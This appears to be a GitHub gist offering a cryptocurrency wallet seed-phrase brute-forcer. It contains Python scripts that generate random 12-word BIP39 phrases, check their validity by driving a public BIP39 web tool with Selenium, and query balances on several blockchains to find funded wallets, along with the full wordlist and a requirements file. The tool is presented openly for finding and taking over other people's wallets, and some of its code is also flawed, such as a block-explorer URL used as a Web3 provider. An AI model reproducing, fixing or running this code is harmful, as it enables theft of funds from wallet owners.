Created
May 22, 2023 17:25
-
-
Save prokmiha/4a002c1e73f84f8f9420fbf1980bf603 to your computer and use it in GitHub Desktop.
Program for wallet seed phrase brute-forcing.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# The code uses API providers from different networks to check the balance of wallets | |
# whose mnemonic phrases have been determined to be valid. The results are written to a separate file. | |
from tqdm import tqdm | |
from web3 import Web3 | |
from eth_account import Account | |
# Enable unaudited HD wallet features | |
Account.enable_unaudited_hdwallet_features() | |
# Read private keys from the file | |
with open("Correct_phrases.txt", "r") as f: | |
private_keys = f.read().strip().splitlines() | |
# Define Ethereum and other network providers | |
eth_provider = Web3.HTTPProvider('https://mainnet.infura.io/v3/YOUR_API_KEY') | |
arb_provider = Web3.HTTPProvider('https://arbitrum-mainnet.infura.io/v3/YOUR_API_KEY') | |
polygon_provider = Web3.HTTPProvider('https://polygon-mainnet.infura.io/v3/YOUR_API_KEY') | |
optimism_provider = Web3.HTTPProvider("https://optimism-mainnet.infura.io/v3/YOUR_API_KEY") | |
# Create web3 instances for each network | |
web3_eth = Web3(eth_provider) | |
web3_arb = Web3(arb_provider) | |
web3_polygon = Web3(polygon_provider) | |
web3_optimism = Web3(optimism_provider) | |
# Dictionary to store balances | |
balances = {} | |
# Initialize progress bar | |
progress_bar = tqdm(total=len(private_keys), unit="word(s)") | |
# Iterate over private keys | |
for i, private_key in enumerate(private_keys): | |
# Get address from private key | |
address = Account.from_mnemonic(private_key).address | |
# Binance Smart Chain provider | |
bsc_provider = Web3.HTTPProvider( | |
f"https://api.bscscan.com/api?module=account&action=balance&address={address}&tag=latest&apikey=YOUR_API_KEY") | |
web3_bsc = Web3(bsc_provider) | |
# Check balances for each network | |
eth_balance = web3_eth.eth.get_balance(address) | |
if eth_balance > 0: | |
balances.setdefault(address, {}).update({"Ethereum": str(eth_balance)}) | |
arb_balance = web3_arb.eth.get_balance(address) | |
if arb_balance > 0: | |
balances.setdefault(address, {}).update({"Arbitrum": str(arb_balance)}) | |
polygon_balance = web3_polygon.eth.get_balance(address) | |
if polygon_balance > 0: | |
balances.setdefault(address, {}).update({"Polygon": str(polygon_balance)}) | |
optimism_balance = web3_optimism.eth.get_balance(address) | |
if optimism_balance > 0: | |
balances.setdefault(address, {}).update({"Optimism": str(optimism_balance)}) | |
bsc_balance = web3_bsc.eth.get_balance(address) | |
if bsc_balance > 0: | |
balances.setdefault(address, {}).update({"BSC": str(bsc_balance)}) | |
progress_bar.update(1) | |
progress_bar.close() | |
# Write balances to the file | |
with open("balances.txt", "w") as f: | |
for address, network_balances in balances.items(): | |
f.write(f"Address: {address}\n") | |
for network, balance in network_balances.items(): | |
f.write(f"{network} - {balance}\n") | |
f.write("\n") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
abandon | |
ability | |
able | |
about | |
above | |
absent | |
absorb | |
abstract | |
absurd | |
abuse | |
access | |
accident | |
account | |
accuse | |
achieve | |
acid | |
acoustic | |
acquire | |
across | |
act | |
action | |
actor | |
actress | |
actual | |
adapt | |
add | |
addict | |
address | |
adjust | |
admit | |
adult | |
advance | |
advice | |
aerobic | |
affair | |
afford | |
afraid | |
again | |
age | |
agent | |
agree | |
ahead | |
aim | |
air | |
airport | |
aisle | |
alarm | |
album | |
alcohol | |
alert | |
alien | |
all | |
alley | |
allow | |
almost | |
alone | |
alpha | |
already | |
also | |
alter | |
always | |
amateur | |
amazing | |
among | |
amount | |
amused | |
analyst | |
anchor | |
ancient | |
anger | |
angle | |
angry | |
animal | |
ankle | |
announce | |
annual | |
another | |
answer | |
antenna | |
antique | |
anxiety | |
any | |
apart | |
apology | |
appear | |
apple | |
approve | |
april | |
arch | |
arctic | |
area | |
arena | |
argue | |
arm | |
armed | |
armor | |
army | |
around | |
arrange | |
arrest | |
arrive | |
arrow | |
art | |
artefact | |
artist | |
artwork | |
ask | |
aspect | |
assault | |
asset | |
assist | |
assume | |
asthma | |
athlete | |
atom | |
attack | |
attend | |
attitude | |
attract | |
auction | |
audit | |
august | |
aunt | |
author | |
auto | |
autumn | |
average | |
avocado | |
avoid | |
awake | |
aware | |
away | |
awesome | |
awful | |
awkward | |
axis | |
baby | |
bachelor | |
bacon | |
badge | |
bag | |
balance | |
balcony | |
ball | |
bamboo | |
banana | |
banner | |
bar | |
barely | |
bargain | |
barrel | |
base | |
basic | |
basket | |
battle | |
beach | |
bean | |
beauty | |
because | |
become | |
beef | |
before | |
begin | |
behave | |
behind | |
believe | |
below | |
belt | |
bench | |
benefit | |
best | |
betray | |
better | |
between | |
beyond | |
bicycle | |
bid | |
bike | |
bind | |
biology | |
bird | |
birth | |
bitter | |
black | |
blade | |
blame | |
blanket | |
blast | |
bleak | |
bless | |
blind | |
blood | |
blossom | |
blouse | |
blue | |
blur | |
blush | |
board | |
boat | |
body | |
boil | |
bomb | |
bone | |
bonus | |
book | |
boost | |
border | |
boring | |
borrow | |
boss | |
bottom | |
bounce | |
box | |
boy | |
bracket | |
brain | |
brand | |
brass | |
brave | |
bread | |
breeze | |
brick | |
bridge | |
brief | |
bright | |
bring | |
brisk | |
broccoli | |
broken | |
bronze | |
broom | |
brother | |
brown | |
brush | |
bubble | |
buddy | |
budget | |
buffalo | |
build | |
bulb | |
bulk | |
bullet | |
bundle | |
bunker | |
burden | |
burger | |
burst | |
bus | |
business | |
busy | |
butter | |
buyer | |
buzz | |
cabbage | |
cabin | |
cable | |
cactus | |
cage | |
cake | |
call | |
calm | |
camera | |
camp | |
can | |
canal | |
cancel | |
candy | |
cannon | |
canoe | |
canvas | |
canyon | |
capable | |
capital | |
captain | |
car | |
carbon | |
card | |
cargo | |
carpet | |
carry | |
cart | |
case | |
cash | |
casino | |
castle | |
casual | |
cat | |
catalog | |
catch | |
category | |
cattle | |
caught | |
cause | |
caution | |
cave | |
ceiling | |
celery | |
cement | |
census | |
century | |
cereal | |
certain | |
chair | |
chalk | |
champion | |
change | |
chaos | |
chapter | |
charge | |
chase | |
chat | |
cheap | |
check | |
cheese | |
chef | |
cherry | |
chest | |
chicken | |
chief | |
child | |
chimney | |
choice | |
choose | |
chronic | |
chuckle | |
chunk | |
churn | |
cigar | |
cinnamon | |
circle | |
citizen | |
city | |
civil | |
claim | |
clap | |
clarify | |
claw | |
clay | |
clean | |
clerk | |
clever | |
click | |
client | |
cliff | |
climb | |
clinic | |
clip | |
clock | |
clog | |
close | |
cloth | |
cloud | |
clown | |
club | |
clump | |
cluster | |
clutch | |
coach | |
coast | |
coconut | |
code | |
coffee | |
coil | |
coin | |
collect | |
color | |
column | |
combine | |
come | |
comfort | |
comic | |
common | |
company | |
concert | |
conduct | |
confirm | |
congress | |
connect | |
consider | |
control | |
convince | |
cook | |
cool | |
copper | |
copy | |
coral | |
core | |
corn | |
correct | |
cost | |
cotton | |
couch | |
country | |
couple | |
course | |
cousin | |
cover | |
coyote | |
crack | |
cradle | |
craft | |
cram | |
crane | |
crash | |
crater | |
crawl | |
crazy | |
cream | |
credit | |
creek | |
crew | |
cricket | |
crime | |
crisp | |
critic | |
crop | |
cross | |
crouch | |
crowd | |
crucial | |
cruel | |
cruise | |
crumble | |
crunch | |
crush | |
cry | |
crystal | |
cube | |
culture | |
cup | |
cupboard | |
curious | |
current | |
curtain | |
curve | |
cushion | |
custom | |
cute | |
cycle | |
dad | |
damage | |
damp | |
dance | |
danger | |
daring | |
dash | |
daughter | |
dawn | |
day | |
deal | |
debate | |
debris | |
decade | |
december | |
decide | |
decline | |
decorate | |
decrease | |
deer | |
defense | |
define | |
defy | |
degree | |
delay | |
deliver | |
demand | |
demise | |
denial | |
dentist | |
deny | |
depart | |
depend | |
deposit | |
depth | |
deputy | |
derive | |
describe | |
desert | |
design | |
desk | |
despair | |
destroy | |
detail | |
detect | |
develop | |
device | |
devote | |
diagram | |
dial | |
diamond | |
diary | |
dice | |
diesel | |
diet | |
differ | |
digital | |
dignity | |
dilemma | |
dinner | |
dinosaur | |
direct | |
dirt | |
disagree | |
discover | |
disease | |
dish | |
dismiss | |
disorder | |
display | |
distance | |
divert | |
divide | |
divorce | |
dizzy | |
doctor | |
document | |
dog | |
doll | |
dolphin | |
domain | |
donate | |
donkey | |
donor | |
door | |
dose | |
double | |
dove | |
draft | |
dragon | |
drama | |
drastic | |
draw | |
dream | |
dress | |
drift | |
drill | |
drink | |
drip | |
drive | |
drop | |
drum | |
dry | |
duck | |
dumb | |
dune | |
during | |
dust | |
dutch | |
duty | |
dwarf | |
dynamic | |
eager | |
eagle | |
early | |
earn | |
earth | |
easily | |
east | |
easy | |
echo | |
ecology | |
economy | |
edge | |
edit | |
educate | |
effort | |
egg | |
eight | |
either | |
elbow | |
elder | |
electric | |
elegant | |
element | |
elephant | |
elevator | |
elite | |
else | |
embark | |
embody | |
embrace | |
emerge | |
emotion | |
employ | |
empower | |
empty | |
enable | |
enact | |
end | |
endless | |
endorse | |
enemy | |
energy | |
enforce | |
engage | |
engine | |
enhance | |
enjoy | |
enlist | |
enough | |
enrich | |
enroll | |
ensure | |
enter | |
entire | |
entry | |
envelope | |
episode | |
equal | |
equip | |
era | |
erase | |
erode | |
erosion | |
error | |
erupt | |
escape | |
essay | |
essence | |
estate | |
eternal | |
ethics | |
evidence | |
evil | |
evoke | |
evolve | |
exact | |
example | |
excess | |
exchange | |
excite | |
exclude | |
excuse | |
execute | |
exercise | |
exhaust | |
exhibit | |
exile | |
exist | |
exit | |
exotic | |
expand | |
expect | |
expire | |
explain | |
expose | |
express | |
extend | |
extra | |
eye | |
eyebrow | |
fabric | |
face | |
faculty | |
fade | |
faint | |
faith | |
fall | |
false | |
fame | |
family | |
famous | |
fan | |
fancy | |
fantasy | |
farm | |
fashion | |
fat | |
fatal | |
father | |
fatigue | |
fault | |
favorite | |
feature | |
february | |
federal | |
fee | |
feed | |
feel | |
female | |
fence | |
festival | |
fetch | |
fever | |
few | |
fiber | |
fiction | |
field | |
figure | |
file | |
film | |
filter | |
final | |
find | |
fine | |
finger | |
finish | |
fire | |
firm | |
first | |
fiscal | |
fish | |
fit | |
fitness | |
fix | |
flag | |
flame | |
flash | |
flat | |
flavor | |
flee | |
flight | |
flip | |
float | |
flock | |
floor | |
flower | |
fluid | |
flush | |
fly | |
foam | |
focus | |
fog | |
foil | |
fold | |
follow | |
food | |
foot | |
force | |
forest | |
forget | |
fork | |
fortune | |
forum | |
forward | |
fossil | |
foster | |
found | |
fox | |
fragile | |
frame | |
frequent | |
fresh | |
friend | |
fringe | |
frog | |
front | |
frost | |
frown | |
frozen | |
fruit | |
fuel | |
fun | |
funny | |
furnace | |
fury | |
future | |
gadget | |
gain | |
galaxy | |
gallery | |
game | |
gap | |
garage | |
garbage | |
garden | |
garlic | |
garment | |
gas | |
gasp | |
gate | |
gather | |
gauge | |
gaze | |
general | |
genius | |
genre | |
gentle | |
genuine | |
gesture | |
ghost | |
giant | |
gift | |
giggle | |
ginger | |
giraffe | |
girl | |
give | |
glad | |
glance | |
glare | |
glass | |
glide | |
glimpse | |
globe | |
gloom | |
glory | |
glove | |
glow | |
glue | |
goat | |
goddess | |
gold | |
good | |
goose | |
gorilla | |
gospel | |
gossip | |
govern | |
gown | |
grab | |
grace | |
grain | |
grant | |
grape | |
grass | |
gravity | |
great | |
green | |
grid | |
grief | |
grit | |
grocery | |
group | |
grow | |
grunt | |
guard | |
guess | |
guide | |
guilt | |
guitar | |
gun | |
gym | |
habit | |
hair | |
half | |
hammer | |
hamster | |
hand | |
happy | |
harbor | |
hard | |
harsh | |
harvest | |
hat | |
have | |
hawk | |
hazard | |
head | |
health | |
heart | |
heavy | |
hedgehog | |
height | |
hello | |
helmet | |
help | |
hen | |
hero | |
hidden | |
high | |
hill | |
hint | |
hip | |
hire | |
history | |
hobby | |
hockey | |
hold | |
hole | |
holiday | |
hollow | |
home | |
honey | |
hood | |
hope | |
horn | |
horror | |
horse | |
hospital | |
host | |
hotel | |
hour | |
hover | |
hub | |
huge | |
human | |
humble | |
humor | |
hundred | |
hungry | |
hunt | |
hurdle | |
hurry | |
hurt | |
husband | |
hybrid | |
ice | |
icon | |
idea | |
identify | |
idle | |
ignore | |
ill | |
illegal | |
illness | |
image | |
imitate | |
immense | |
immune | |
impact | |
impose | |
improve | |
impulse | |
inch | |
include | |
income | |
increase | |
index | |
indicate | |
indoor | |
industry | |
infant | |
inflict | |
inform | |
inhale | |
inherit | |
initial | |
inject | |
injury | |
inmate | |
inner | |
innocent | |
input | |
inquiry | |
insane | |
insect | |
inside | |
inspire | |
install | |
intact | |
interest | |
into | |
invest | |
invite | |
involve | |
iron | |
island | |
isolate | |
issue | |
item | |
ivory | |
jacket | |
jaguar | |
jar | |
jazz | |
jealous | |
jeans | |
jelly | |
jewel | |
job | |
join | |
joke | |
journey | |
joy | |
judge | |
juice | |
jump | |
jungle | |
junior | |
junk | |
just | |
kangaroo | |
keen | |
keep | |
ketchup | |
key | |
kick | |
kid | |
kidney | |
kind | |
kingdom | |
kiss | |
kit | |
kitchen | |
kite | |
kitten | |
kiwi | |
knee | |
knife | |
knock | |
know | |
lab | |
label | |
labor | |
ladder | |
lady | |
lake | |
lamp | |
language | |
laptop | |
large | |
later | |
latin | |
laugh | |
laundry | |
lava | |
law | |
lawn | |
lawsuit | |
layer | |
lazy | |
leader | |
leaf | |
learn | |
leave | |
lecture | |
left | |
leg | |
legal | |
legend | |
leisure | |
lemon | |
lend | |
length | |
lens | |
leopard | |
lesson | |
letter | |
level | |
liar | |
liberty | |
library | |
license | |
life | |
lift | |
light | |
like | |
limb | |
limit | |
link | |
lion | |
liquid | |
list | |
little | |
live | |
lizard | |
load | |
loan | |
lobster | |
local | |
lock | |
logic | |
lonely | |
long | |
loop | |
lottery | |
loud | |
lounge | |
love | |
loyal | |
lucky | |
luggage | |
lumber | |
lunar | |
lunch | |
luxury | |
lyrics | |
machine | |
mad | |
magic | |
magnet | |
maid | |
main | |
major | |
make | |
mammal | |
man | |
manage | |
mandate | |
mango | |
mansion | |
manual | |
maple | |
marble | |
march | |
margin | |
marine | |
market | |
marriage | |
mask | |
mass | |
master | |
match | |
material | |
math | |
matrix | |
matter | |
maximum | |
maze | |
meadow | |
mean | |
measure | |
meat | |
mechanic | |
medal | |
media | |
melody | |
melt | |
member | |
memory | |
mention | |
menu | |
mercy | |
merge | |
merit | |
merry | |
mesh | |
message | |
metal | |
method | |
middle | |
midnight | |
milk | |
million | |
mimic | |
mind | |
minimum | |
minor | |
minute | |
miracle | |
mirror | |
misery | |
miss | |
mistake | |
mix | |
mixed | |
mixture | |
mobile | |
model | |
modify | |
mom | |
moment | |
monitor | |
monkey | |
monster | |
month | |
moon | |
moral | |
more | |
morning | |
mosquito | |
mother | |
motion | |
motor | |
mountain | |
mouse | |
move | |
movie | |
much | |
muffin | |
mule | |
multiply | |
muscle | |
museum | |
mushroom | |
music | |
must | |
mutual | |
myself | |
mystery | |
myth | |
naive | |
name | |
napkin | |
narrow | |
nasty | |
nation | |
nature | |
near | |
neck | |
need | |
negative | |
neglect | |
neither | |
nephew | |
nerve | |
nest | |
net | |
network | |
neutral | |
never | |
news | |
next | |
nice | |
night | |
noble | |
noise | |
nominee | |
noodle | |
normal | |
north | |
nose | |
notable | |
note | |
nothing | |
notice | |
novel | |
now | |
nuclear | |
number | |
nurse | |
nut | |
oak | |
obey | |
object | |
oblige | |
obscure | |
observe | |
obtain | |
obvious | |
occur | |
ocean | |
october | |
odor | |
off | |
offer | |
office | |
often | |
oil | |
okay | |
old | |
olive | |
olympic | |
omit | |
once | |
one | |
onion | |
online | |
only | |
open | |
opera | |
opinion | |
oppose | |
option | |
orange | |
orbit | |
orchard | |
order | |
ordinary | |
organ | |
orient | |
original | |
orphan | |
ostrich | |
other | |
outdoor | |
outer | |
output | |
outside | |
oval | |
oven | |
over | |
own | |
owner | |
oxygen | |
oyster | |
ozone | |
pact | |
paddle | |
page | |
pair | |
palace | |
palm | |
panda | |
panel | |
panic | |
panther | |
paper | |
parade | |
parent | |
park | |
parrot | |
party | |
pass | |
patch | |
path | |
patient | |
patrol | |
pattern | |
pause | |
pave | |
payment | |
peace | |
peanut | |
pear | |
peasant | |
pelican | |
pen | |
penalty | |
pencil | |
people | |
pepper | |
perfect | |
permit | |
person | |
pet | |
phone | |
photo | |
phrase | |
physical | |
piano | |
picnic | |
picture | |
piece | |
pig | |
pigeon | |
pill | |
pilot | |
pink | |
pioneer | |
pipe | |
pistol | |
pitch | |
pizza | |
place | |
planet | |
plastic | |
plate | |
play | |
please | |
pledge | |
pluck | |
plug | |
plunge | |
poem | |
poet | |
point | |
polar | |
pole | |
police | |
pond | |
pony | |
pool | |
popular | |
portion | |
position | |
possible | |
post | |
potato | |
pottery | |
poverty | |
powder | |
power | |
practice | |
praise | |
predict | |
prefer | |
prepare | |
present | |
pretty | |
prevent | |
price | |
pride | |
primary | |
priority | |
prison | |
private | |
prize | |
problem | |
process | |
produce | |
profit | |
program | |
project | |
promote | |
proof | |
property | |
prosper | |
protect | |
proud | |
provide | |
public | |
pudding | |
pull | |
pulp | |
pulse | |
pumpkin | |
punch | |
pupil | |
puppy | |
purchase | |
purity | |
purpose | |
purse | |
push | |
put | |
puzzle | |
pyramid | |
quality | |
quantum | |
quarter | |
question | |
quick | |
quit | |
quiz | |
quote | |
rabbit | |
raccoon | |
race | |
rack | |
radar | |
radio | |
rail | |
rain | |
raise | |
rally | |
ramp | |
ranch | |
random | |
range | |
rapid | |
rare | |
rate | |
rather | |
raven | |
raw | |
razor | |
ready | |
real | |
reason | |
rebel | |
rebuild | |
recall | |
receive | |
recipe | |
record | |
recycle | |
reduce | |
reflect | |
reform | |
refuse | |
region | |
regret | |
regular | |
reject | |
relax | |
release | |
relief | |
rely | |
remain | |
remember | |
remind | |
remove | |
render | |
renew | |
rent | |
reopen | |
repair | |
repeat | |
replace | |
report | |
require | |
rescue | |
resemble | |
resist | |
resource | |
response | |
result | |
retire | |
retreat | |
return | |
reunion | |
reveal | |
review | |
reward | |
rhythm | |
rib | |
ribbon | |
rice | |
rich | |
ride | |
ridge | |
rifle | |
right | |
rigid | |
ring | |
riot | |
ripple | |
risk | |
ritual | |
rival | |
river | |
road | |
roast | |
robot | |
robust | |
rocket | |
romance | |
roof | |
rookie | |
room | |
rose | |
rotate | |
rough | |
round | |
route | |
royal | |
rubber | |
rude | |
rug | |
rule | |
run | |
runway | |
rural | |
sad | |
saddle | |
sadness | |
safe | |
sail | |
salad | |
salmon | |
salon | |
salt | |
salute | |
same | |
sample | |
sand | |
satisfy | |
satoshi | |
sauce | |
sausage | |
save | |
say | |
scale | |
scan | |
scare | |
scatter | |
scene | |
scheme | |
school | |
science | |
scissors | |
scorpion | |
scout | |
scrap | |
screen | |
script | |
scrub | |
sea | |
search | |
season | |
seat | |
second | |
secret | |
section | |
security | |
seed | |
seek | |
segment | |
select | |
sell | |
seminar | |
senior | |
sense | |
sentence | |
series | |
service | |
session | |
settle | |
setup | |
seven | |
shadow | |
shaft | |
shallow | |
share | |
shed | |
shell | |
sheriff | |
shield | |
shift | |
shine | |
ship | |
shiver | |
shock | |
shoe | |
shoot | |
shop | |
short | |
shoulder | |
shove | |
shrimp | |
shrug | |
shuffle | |
shy | |
sibling | |
sick | |
side | |
siege | |
sight | |
sign | |
silent | |
silk | |
silly | |
silver | |
similar | |
simple | |
since | |
sing | |
siren | |
sister | |
situate | |
six | |
size | |
skate | |
sketch | |
ski | |
skill | |
skin | |
skirt | |
skull | |
slab | |
slam | |
sleep | |
slender | |
slice | |
slide | |
slight | |
slim | |
slogan | |
slot | |
slow | |
slush | |
small | |
smart | |
smile | |
smoke | |
smooth | |
snack | |
snake | |
snap | |
sniff | |
snow | |
soap | |
soccer | |
social | |
sock | |
soda | |
soft | |
solar | |
soldier | |
solid | |
solution | |
solve | |
someone | |
song | |
soon | |
sorry | |
sort | |
soul | |
sound | |
soup | |
source | |
south | |
space | |
spare | |
spatial | |
spawn | |
speak | |
special | |
speed | |
spell | |
spend | |
sphere | |
spice | |
spider | |
spike | |
spin | |
spirit | |
split | |
spoil | |
sponsor | |
spoon | |
sport | |
spot | |
spray | |
spread | |
spring | |
spy | |
square | |
squeeze | |
squirrel | |
stable | |
stadium | |
staff | |
stage | |
stairs | |
stamp | |
stand | |
start | |
state | |
stay | |
steak | |
steel | |
stem | |
step | |
stereo | |
stick | |
still | |
sting | |
stock | |
stomach | |
stone | |
stool | |
story | |
stove | |
strategy | |
street | |
strike | |
strong | |
struggle | |
student | |
stuff | |
stumble | |
style | |
subject | |
submit | |
subway | |
success | |
such | |
sudden | |
suffer | |
sugar | |
suggest | |
suit | |
summer | |
sun | |
sunny | |
sunset | |
super | |
supply | |
supreme | |
sure | |
surface | |
surge | |
surprise | |
surround | |
survey | |
suspect | |
sustain | |
swallow | |
swamp | |
swap | |
swarm | |
swear | |
sweet | |
swift | |
swim | |
swing | |
switch | |
sword | |
symbol | |
symptom | |
syrup | |
system | |
table | |
tackle | |
tag | |
tail | |
talent | |
talk | |
tank | |
tape | |
target | |
task | |
taste | |
tattoo | |
taxi | |
teach | |
team | |
tell | |
ten | |
tenant | |
tennis | |
tent | |
term | |
test | |
text | |
thank | |
that | |
theme | |
then | |
theory | |
there | |
they | |
thing | |
this | |
thought | |
three | |
thrive | |
throw | |
thumb | |
thunder | |
ticket | |
tide | |
tiger | |
tilt | |
timber | |
time | |
tiny | |
tip | |
tired | |
tissue | |
title | |
toast | |
tobacco | |
today | |
toddler | |
toe | |
together | |
toilet | |
token | |
tomato | |
tomorrow | |
tone | |
tongue | |
tonight | |
tool | |
tooth | |
top | |
topic | |
topple | |
torch | |
tornado | |
tortoise | |
toss | |
total | |
tourist | |
toward | |
tower | |
town | |
toy | |
track | |
trade | |
traffic | |
tragic | |
train | |
transfer | |
trap | |
trash | |
travel | |
tray | |
treat | |
tree | |
trend | |
trial | |
tribe | |
trick | |
trigger | |
trim | |
trip | |
trophy | |
trouble | |
truck | |
true | |
truly | |
trumpet | |
trust | |
truth | |
try | |
tube | |
tuition | |
tumble | |
tuna | |
tunnel | |
turkey | |
turn | |
turtle | |
twelve | |
twenty | |
twice | |
twin | |
twist | |
two | |
type | |
typical | |
ugly | |
umbrella | |
unable | |
unaware | |
uncle | |
uncover | |
under | |
undo | |
unfair | |
unfold | |
unhappy | |
uniform | |
unique | |
unit | |
universe | |
unknown | |
unlock | |
until | |
unusual | |
unveil | |
update | |
upgrade | |
uphold | |
upon | |
upper | |
upset | |
urban | |
urge | |
usage | |
use | |
used | |
useful | |
useless | |
usual | |
utility | |
vacant | |
vacuum | |
vague | |
valid | |
valley | |
valve | |
van | |
vanish | |
vapor | |
various | |
vast | |
vault | |
vehicle | |
velvet | |
vendor | |
venture | |
venue | |
verb | |
verify | |
version | |
very | |
vessel | |
veteran | |
viable | |
vibrant | |
vicious | |
victory | |
video | |
view | |
village | |
vintage | |
violin | |
virtual | |
virus | |
visa | |
visit | |
visual | |
vital | |
vivid | |
vocal | |
voice | |
void | |
volcano | |
volume | |
vote | |
voyage | |
wage | |
wagon | |
wait | |
walk | |
wall | |
walnut | |
want | |
warfare | |
warm | |
warrior | |
wash | |
wasp | |
waste | |
water | |
wave | |
way | |
wealth | |
weapon | |
wear | |
weasel | |
weather | |
web | |
wedding | |
weekend | |
weird | |
welcome | |
west | |
wet | |
whale | |
what | |
wheat | |
wheel | |
when | |
where | |
whip | |
whisper | |
wide | |
width | |
wife | |
wild | |
will | |
win | |
window | |
wine | |
wing | |
wink | |
winner | |
winter | |
wire | |
wisdom | |
wise | |
wish | |
witness | |
wolf | |
woman | |
wonder | |
wood | |
wool | |
word | |
work | |
world | |
worry | |
worth | |
wrap | |
wreck | |
wrestle | |
wrist | |
write | |
wrong | |
yard | |
year | |
yellow | |
you | |
young | |
youth | |
zebra | |
zero | |
zone | |
zoo |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
aiohttp==3.8.4 | |
aiosignal==1.3.1 | |
async-generator==1.10 | |
async-timeout==4.0.2 | |
attrs==23.1.0 | |
bitarray==2.7.3 | |
certifi==2023.5.7 | |
cffi==1.15.1 | |
charset-normalizer==3.1.0 | |
colorama==0.4.6 | |
cytoolz==0.12.1 | |
eth-abi==4.0.0 | |
eth-account==0.8.0 | |
eth-hash==0.5.1 | |
eth-keyfile==0.6.1 | |
eth-keys==0.4.0 | |
eth-rlp==0.3.0 | |
eth-typing==3.3.0 | |
eth-utils==2.1.0 | |
exceptiongroup==1.1.1 | |
frozenlist==1.3.3 | |
h11==0.14.0 | |
hexbytes==0.3.0 | |
idna==3.4 | |
jsonschema==4.17.3 | |
lru-dict==1.1.8 | |
multidict==6.0.4 | |
outcome==1.2.0 | |
parsimonious==0.9.0 | |
protobuf==4.23.1 | |
pycparser==2.21 | |
pycryptodome==3.18.0 | |
pyrsistent==0.19.3 | |
PySocks==1.7.1 | |
pywin32==306 | |
regex==2023.5.5 | |
requests==2.30.0 | |
rlp==3.0.0 | |
selenium==4.9.1 | |
sniffio==1.3.0 | |
sortedcontainers==2.4.0 | |
toolz==0.12.0 | |
tqdm==4.65.0 | |
trio==0.22.0 | |
trio-websocket==0.10.2 | |
urllib3==2.0.2 | |
web3==6.4.0 | |
websockets==11.0.3 | |
wsproto==1.2.0 | |
yarl==1.9.2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# The code creates a web driver that checks which mnemonic phrases are valid | |
# and collects them into a separate text file for further use. | |
import random | |
# Open the file with the list of words | |
with open('bip39.txt', 'r') as f: | |
wordlist = [line.strip() for line in f] | |
# Set the length of the mnemonic phrase in words | |
mnemonic_length = 12 | |
# Create an empty list to store unique mnemonic phrases | |
mnemonic_list = [] | |
# Generate random mnemonic phrases | |
# The number specified should be changed depending on the number of phrases that need to be generated. | |
while len(mnemonic_list) < 50: | |
mnemonic = ' '.join(random.sample(wordlist, mnemonic_length)) | |
if mnemonic not in mnemonic_list: | |
mnemonic_list.append(mnemonic) | |
# Write the unique mnemonic phrases to a file | |
with open('Seed_phrases.txt', 'w') as f: | |
for mnemonic in mnemonic_list: | |
f.write(mnemonic + '\n') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# The code creates a web driver that checks which mnemonic phrases are valid | |
# and collects them into a separate text file for further use. | |
import os | |
from selenium import webdriver | |
from selenium.webdriver.common.keys import Keys | |
from selenium.webdriver.common.by import By | |
import time | |
from tqdm import tqdm | |
filename = "Correct_phrases.txt" | |
try: | |
# Initialize the Chrome WebDriver | |
driver = webdriver.Chrome() | |
driver.get("https://iancoleman.io/bip39/#english") | |
except Exception as e: | |
print(e) | |
with open("Seed_phrases.txt", "r") as f: | |
# Read the words from the file and store them in a list | |
words = f.read().strip().splitlines() | |
# Find the input field on the webpage | |
input_field = driver.find_element('id', 'phrase') | |
if os.path.exists(filename): | |
with open(filename, "r") as f: | |
# Read the existing successful words from the file and store them in a set | |
success_words = set(f.read().strip().splitlines()) | |
else: | |
success_words = set() | |
# Initialize a progress bar with the total number of words | |
progress_bar = tqdm(total=len(words), unit="word(s)") | |
# The specified number is used to limit the number of checks at once, but it can be removed. | |
for word in words[:1000]: | |
# Clear the input field | |
input_field.clear() | |
# Enter the current word into the input field | |
input_field.send_keys(word) | |
# Simulate pressing the Enter key | |
input_field.send_keys(Keys.ENTER) | |
time.sleep(0.5) | |
# Find the feedback element on the page | |
feedback = driver.find_element(By.CSS_SELECTOR, ".feedback") | |
if feedback.text != "Invalid mnemonic" or feedback.text == '': | |
# If the feedback is not "Invalid mnemonic" or empty, the word is valid | |
print(f"Valid: {word}") | |
# Add the word to the set of successful words | |
success_words.add(word) | |
# Update the progress bar by one unit | |
progress_bar.update(1) | |
# Close the progress bar | |
progress_bar.close() | |
with open(filename, "a") as f: | |
try: | |
# Write the successful words to the file | |
f.write('\n'.join(success_words) + '\n') | |
except Exception as e: | |
print(e) | |
print("Error writing to the file") | |
# Quit the WebDriver | |
driver.quit() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment